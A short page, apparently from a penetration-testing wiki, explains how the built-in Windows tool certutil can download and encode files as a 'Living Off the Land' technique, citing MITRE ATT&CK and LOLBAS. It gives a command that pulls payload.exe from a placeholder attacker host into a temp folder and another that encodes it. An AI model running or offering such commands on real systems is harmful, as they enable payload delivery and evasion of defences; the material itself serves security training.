File Operations
Last updated
Was this helpful?
Last updated
Was this helpful?
Here, we will show commonly used tools used by "Living Off the Land" techniques about file operations including download, upload, and encoding. This techniques are covered by the LOLBAS project
Certutil is a Windows built-in utility for handling certification services. It is used to dump and display Certification Authority (CA) configuration information and other CA components. However, people found that certutil.exe could transfer and encode files unrelated to certification services.
#Dowload a file
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
#Encode a file
certutil -encode payload.exe Encoded-payload.txt
The MITRE ATT&CK framework identifies this techniques as Ingress tool transfer (T1105) and Obfuscated Files or Information (T1027)
Note that other tools can be used for file operations. We suggest visiting the LOLBAS project to check them out.